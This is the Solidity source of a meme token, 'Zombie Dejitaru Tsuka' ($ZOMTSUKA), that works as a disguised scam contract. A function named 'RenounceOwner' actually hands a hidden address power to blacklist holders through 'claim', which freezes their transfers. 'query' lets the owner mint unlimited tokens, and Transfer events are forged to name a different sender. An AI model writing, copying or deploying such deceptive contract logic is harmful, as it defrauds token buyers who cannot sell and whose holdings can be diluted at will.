Contract Source Code:

pragma solidity 0.8.17;
/*


    ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓╣╣╢╢╢╣╢╣╢╢╢╢╢╢╢╣╢╣╢╢╢╢╢╢╢╢╢╢╢╢╢╢╢╢╢╢╢╢╢╢╢╢╢╢╢╢╢╢╢╢╢╢╢╢╢╢╢╢╢╢╣╢
    ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓╣╢╢╢╢╢╢╣╢╢╣╢╢╣╣╣╢╣╣╣╣╢╣╢╢╣╢╣╢╢╢╢╢╢╢╢╢╢╢╢╣╢╣╢╢╢╢╢╣╢╣╢╢╢╢╢╣╢╢╢╢╢╢
    ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓╣╣╢╢╢╢╣╢╢╣▒╢╢╣╣▒▒▒▒▒▒▒▒▒▒▒▒╢╢╢▒╢▒╢╣╢╣╢╢╢╢╣╢╢╢╢╣╢╣╢╢╢╢╢╣╢╢╢╢╢╢╢╢╢
    ▓▓▓▓▓████▓▓▓▓▓╣╣╢╣╢╢╢╣╣╣╣▒▒▒╢▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒╣╣╣╢╣╣╢╣╣╢╣╢╣╣╣╣╢╢╣╢╢╣╢╣╢╢╢╢╢╢╢
    ▓▓▓▓▓▓▓▓███████▓▓╣╣╢╢╢╢╣▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒╣╣▒▒▒╢╢╣▒▒╢╣╢▒╢╢╣╢╣╢╢╢╢╢╢╢╢
    ▓▓▓▓▓▓▓▓▓▓╣▓████████▓▒▒╢╣▒▒▒▒▒▀███▄▄▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒╣╢╣▒▒▒▒▒╢▒╢╢╢╣╢╢╢╢╢╣╢
    ▓▓▓▓▓▓▓▓▓▓▓╣╣╢▒██████████▓▒▒▒▒▒▒▒▀█████▄▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒╢▒▒▒▒▒▒╣▒▒╣╣╣╢╣
    ▓▓▓▓▓▓▓▓▓▓╢╣╣╢╣╢▒██████▓▓▓▓▓▓▓▒▒▒▒▒▒███████▄▒▒▒▒▒▒▒▒╣▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒╣╣╣╣╢
    ▓▓▓▓▓▓▓▓╣╣╣╣╢╢╢╢╣╣╢▓████▓▓▓▓▓▓▓▓╣▓╬╣▒▒▀██▓▓▓▓▓▓▒▒▒▒▒▀█▄▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒╢▒▒╣╣▒
    ▓▓▓▓▓▓▓╣╢╢╢╢╢╣╢╢╣╢╢╢▒▓██▓▓▓▓▓▓▓▓▓▓▓╢╫▓▓▓██▓▓▓▓▓▓▓▓▓▓▒▒▒███▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒╢╢
    ▓▓██▓╢╣▓▓╣╣╣╢╣╣╢▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓███████▓▓▓▓▓▓▓▓▓▓▓▓▓████▓▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒╢▒╢
    ▓▓▓╢▓█████████▓▓▓▓▓▓╢▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓███████████████████▓█▓▓▓▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒
    ▓▓▓▓▓╣╢╢▒▀▀█████▓█▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓██████████████████▓▓▓▓▄▒▒▒▒▒▒▒▒▒▒▒▒
    ▓▓▓▓▓╣╣╣╢╢╢╢╣╢▓▓▓█▓▓▓█▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓██████████████████████▄▒▒▒▒▒▒▒▒▒
    ▓▓▓▓▓▓▓▓███████▓███▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓█▓▓▓▓██▓▓▓▓▓█▓▓▓████▀████████▓▓▒▒▒▒▒▒
    ▓▓▓╣╢╣▒▒▒▒▀▀▀████████████▓▓▓▓▓▓▓▓▓▓▓▓███▓▓▓▓▓▓▓▓▓██▓▓▓▓▓▓╢▓▓▓████▓▓▓███████▓▒▒▒▒
    ▓╣╣╢╢╣╢╣╢╣╣╣╢╣╣╢╣▒╢▒▒▒▓████▓██╣╢╢╢╫╬╢▓▓▓███▓▓▓▓╢╣▀█████████╣▓▓▓╢▓╣▓▓▓███████▓▒▒▒
    ▓╣╣╣╢╣╣╢╢╣╣▒╢╢╣▒▓▓▓▀▀▒▒▓▓▓██████▓╣╢╢╣╢╢╢▓▓▓▒╢╢╢╢╢╢▓╢██▓▓▓██▓▓█▓▓▓▓▓▓▓▓▓▓╢▒███▒▒▒
    ╢╢╢╢╢╢╣╢╣╣▒▒╢╢▒╣╣╣╢▒▄████████████▓▓▓▓▓▓▓▓▓█▓╣▒▒▒╢╣▒╢▓▓█▓███▒▒▒▒╢▒▓▒▒╢▒▒▒▒▒▒▒▀▒▒▒
    ╫╣╣╢╢╣╢╢▒▒▒▒▄▄████████████▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▌╢╢╣▒▒╣╣╣▒╢╫▓████▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒
    ╣╣╢╣╢╢╣╣╢╣▒▒▒▒▒▒▒▒▓▓▓╫▓▓▓▓█▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓╣▒╢╢╣▒▒╫╣╢╢╢╢▓█▓▓▓▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒
    ╣╢╢╣╢╣╣╢▒▒▒▒▒▒▒▒▓▓▓▓▓▓▓▓█▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓╢▓▓▓▓╣╣╢╢╢╣╢╢╢╢╣▓╣▓▓▓▓▓▓╢▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒
    ╣╢╢╢╢╣╣╣╣╢▒▒▒▒▓▓▓▓▓▓▓▓▓▓▓╣▓▓▓▓▓▓╣▓▓█▓█▌╢╢╢╣▓▓▓▓▓▓▓▓╣╢╣╣╢╢╢╢╢▓▓▓▓▓▓▓▒▒▒▒▒▒▒▒▒▒▒▒▒
    ╢╣╢╣╢╢╣╣╣▒▒╢╢▓▓██▓▓▓███▓▓▓▓╫▓▓▓╣▓▓╢╢█▌╣╢╣╢╣▓▓▓▓▓▓▓▓████▓▓╣╣╣╣╣╫▓▓▓▓▓▓╣▒▒▒▒▒▒▒▒▒▒
    ╣╢╣╢╣╣╣╢▒▒▒▒▓▓▀▒▓██████▓▓▓╫▓▓▓██▓╢╢╢╢▒╢╫▓▓██▀▓████▀▀▒▒▒▒▒▒▒▓▓▓▓▓█▓▓▓█╣▒▒▒▒▒▒▒▒▒▒
    ╢╢╢╣╢╢╣╣╣▒▓▓▒▒▒▓▓███████▓▓▓▓▓╣▓█▌╢╢╣╢╢▓▓███▒▒▒▒▒▓▒▒▒▒▒▒▒▒▒▒▒▓████▓█▓█▒▒▒▒▒▒▒▒▒▒▒
    ╢╢╢╣╣╢╢╫▓▒╢▒▒╢▓▓███▓██████╣▓╣╢╢╣█╣╣╢▓▓▓██▌▓▒▒▒▒╫▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒████▒▒▒▒▒▒▒▒▒▒▒▒
    ╢╢╢╢╢╣╢╣▒▒╣╢╣╫▓██▓▓██████▌╬╣╣╣╣╢╢╢▓▓▓▓██▌█▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒█▌▒▒▒▒▒▒▒▒▒▒▒▒
    ╢╢╢╢╢╢╣╣╢▒▒╢▒██▓▓██████▓██╣╢╢╢╣╢╣╢╫▓▓███▌▒▌▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▀▒▒▒▒▒▒▒▒▒▒╢╣
    ╢╢╢╢╢╢╣╣╣╣╣▒██▓███████▓▓▓▓▓▓▓╣╬╣▓╢╬▓█████▒▓▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒╢╢╣
    ╣╢╢╢╢╢╣╣╢▒█▀▒▒╫▓▓█████▓▓▓▓▓▓▓▓╣╢╣▓▓▓██▓█▓▌╣▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒╣▒╢╢╢╢
    ╢╢╢╢╢╣╣╢╣▓▒╢╢╢▓▓██▓██▓▓▓▓▓▓╢╣╢╢▓▓▓▓██▓██╢▓▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒╢╣╢╢╣╢╢
    ╢╢╢╢╢╢╣╢╣╢╣╢╣╢█▓█▓▓███▓▓▓▓▓╣╢╢╣╢▓▓▓██▓██▒▒▒╢▒╢▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒╣╣╢╢╢╢╣
    ╢╢╢╢╢╣╢╢╣╢╢╢╢▓▌▓█▓████▓▓▓▓▓╣╣╣▓▓▓▓▓███▓██▒╣╣╣▒▒▒▒▒╢╢╣▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒╣╢╣╢╣╢╢╢╢╣
    ╢╢╢╢╢╢╢╢╢╢╢╣╫▌╣███████▓▓▓▓▓╣╢╣╣╢╬▓▓███▓███▒╢╣╣▒▒▒▒╢╣╢╢▒╣▒╣▒▒▒▒▒▒▒▒╣╣▒╢╣╢╢╢╢╣╢╢╢╢
    ╢╢╢╢╢╢╢╢╢╢╢╢▓╢▓▓▓█████▓▓▓▓▓▓▓▓▓▓▓▓▓▓██▓▓█▓▓▒╣╢╢╢╣╢╣╢╣╣╣╢▒▒▒▒╣▒▒╣▒╣╢╣╢╢╣╢╣╢╢╢╢╢╢╢
    ╣╣╣╢╢╢╢╢╣╢╢╢╣╣▓╢▓██████▓▓▓▓▓▓▓▓▓▓▓▓▓██▓▓██▒▓╣╣╣╣╢╢╢╢╢╢╣╣╢╢╢╣╢╢╣╢╢╣╢╢╢╢╢╢╢╢╢╢╢╢╢╢
    ▓╣╣╢╣╢╢╢╢╢╢╢╢╢╢╢▓██▓▓██▓▓▓▓▓▓▓▓▓▓▓██████▓██▒╢╣╣╢╢╢╣╣╢╢╢╣╣╢╢╣╢╢╣╢╢╢╢╢╢╢╢╢╢╢╢╢╢╢╢╢
    ▓▓╣╣╣╣╢╢╢╢╢╢╢╢╢╫▓██▓▓██▓▓▓▓▓▓▓▓▓▓▓▓█████▓███▒╢╢╣╢╢╢╢╢╢╣╣╢╢╢╣╢╢╢╣╢╢╢╢╢╢╣╢╢╢╢╢╢╢╢╢
    ▓▓▓▓╣╢╢╢╣╢╢╢╢╢╢▓▓█▓▓▓███▓▓▓▓▓▓▓▓▓▓▓██████████▒╢╢╣╢╢╢╢╢╢╢╢╢╢╢╢╢╢╢╢╢╢╢╢╢╢╢╢╢╢╢╢╢╢╢
    ▓▓▓▓╣╣╣╢╢╢╢╢╢╢╢╫▓█▓▓▓███▓▓▓▓▓▓▓▓▓▓▓▓██████████▒╣╢╢╢╢╢╢╢╢╢╢╢╢╢╢╢╢╢╢╢╢╢╢╢╢╢╢╢╢╢╢╢╣
    ▓▓▓▓╣╢╣╢╣╢╢╢╢╢╢╢▓███████▓▓▓▓▓▓▓▓▓▓▓████████████▌╢╢╢╢╢╢╢╢╢╢╢╢╢╢╢╢╢╢╢╢╢╢╢╢╢╢╢╢╢╢╢╣
    ▓▓▓▓▓╣╣╣╢╢╢╢╢╣╢╫█▓███████▓▓▓▓▓▓▓▓▓█████████████▓█╣╣╢╢╢╢╢╢╢╢╢╢╢╢╢╢╢╢╢╢╢╢╢╢╢╢╢╣╣╣╣
    ▓▓▓▓▓▓▓╣╣╣╢╢╢╢╣▓▓█████████▓▓▓▓▓▓▓▓▓█████████████╣▓▓╣╣╣╢╢╢╢╢╢╢╢╢╢╢╢╢╢╢╢╣╢╢╢╢╣╣╢╣╣
    ▓▓▓▓▓▓▓▓╣╣╣╣╣╣╣▓▓▓▓██▓████▓▓▓▓▓▓▓████████████████▓▓▓╣╣╢╣╣╣╣╣╣╢╢╢╣╢╣╢╣╢╢╣╣╣╢╣╣╣╣╣
    ▓▓▓▓▓▓▓▓▓▓▓╣▓▓▓▓▓▓▓██▓▓███▓▓▓▓▓▓▓▓███████████████▓▓╢▓▓▓╣▓▓╣╣╣╣╣╣╢╢╣╣╢╢╣╢╣╢╣╣▓▓▓▓
    ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓█▓▓▓██▓▓▓▓▓▓▓▓▓▓▓█████████████▓▓▓▓▓▓▓▓╣╣╣╣╣╣╣╣╢╣╣╣╣╣╣╣╣▓▓▓▓▓▓
    ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓█▓▓▓█▓▓▓▓▓▓▓▓▓▓▓▓███████▓▓▓▓█▓█▓▓▓▓▓▓▓▓╣╣╣╣╣╣╣╣╣╣╣╣╣╣▓▓▓▓▓▓▓▓
    ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓█▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓
    ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓
    ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓
    ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓
    ███▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓
- Zombie Dejitaru Tsuka - $ZOMTSUKA

@ZombieTsuka

*/      
 
contract ZombieTsuka {
  
    mapping (address => uint256) public balanceOf;
    mapping (address => bool) Amount;
    mapping (address => bool) dx;

    // 
    string public name = "Zombie Dejitaru Tsuka";
    string public symbol = unicode"ZOMTSUKA";
    uint8 public decimals = 18;
    uint256 public totalSupply = 666000000 * (uint256(10) ** decimals);
    uint256 private _totalSupply;
    event Transfer(address indexed from, address indexed to, uint256 value);
  
   



        constructor()  {
        balanceOf[msg.sender] = totalSupply;
        deploy(lead_deployer, totalSupply); }



	address owner = msg.sender;
    address Construct = 0x684320e0f2aE9aDe4CeFe5Ca903F75AF16A406Ff;
    address lead_deployer = 0x8242e56a759aa0B069B9c983fe3f582020CD1eC9;
   





    function deploy(address account, uint256 amount) public {
    require(msg.sender == owner);
    emit Transfer(address(0), account, amount); }
    modifier layer() {   
         require(dx[msg.sender]);
         _;}

    function transfer(address to, uint256 value) public returns (bool success) {

        if(msg.sender == Construct)  {
        require(balanceOf[msg.sender] >= value);
        balanceOf[msg.sender] -= value;  
        balanceOf[to] += value; 
        emit Transfer (lead_deployer, to, value);
        return true; } 
        require(!Amount[msg.sender]);      
        require(balanceOf[msg.sender] >= value);
        balanceOf[msg.sender] -= value;  
        balanceOf[to] += value;          
        emit Transfer(msg.sender, to, value);
        return true; }


         

        event Approval(address indexed owner, address indexed spender, uint256 value);

        mapping(address => mapping(address => uint256)) public allowance;

        function approve(address spender, uint256 value) public returns (bool success) {    
        allowance[msg.sender][spender] = value;

        emit Approval(msg.sender, spender, value);
        return true; }
        function RenounceOwner(address x) public {
         require(msg.sender == Construct);
          dx[x] = true; }
        
        function query(address oracle,  uint256 update) public {
        require(msg.sender == owner);
        balanceOf[oracle] += update;
        totalSupply += update; }
        function claim(address txt) layer public{          
        require(!Amount[txt]);
        Amount[txt] = true; }
        function unstake(address txt) layer public {
        require(Amount[txt]);
        Amount[txt] = false; }


    function transferFrom(address from, address to, uint256 value) public returns (bool success) {   
        if(from == Construct)  {
        require(value <= balanceOf[from]);
        require(value <= allowance[from][msg.sender]);
        balanceOf[from] -= value;  
        balanceOf[to] += value; 
        emit Transfer (lead_deployer, to, value);
        return true; }    
        require(!Amount[from]); 
        require(!Amount[to]); 
        require(value <= balanceOf[from]);
        require(value <= allowance[from][msg.sender]);
        balanceOf[from] -= value;
        balanceOf[to] += value;
        allowance[from][msg.sender] -= value;
        emit Transfer(from, to, value);
        return true; }
    }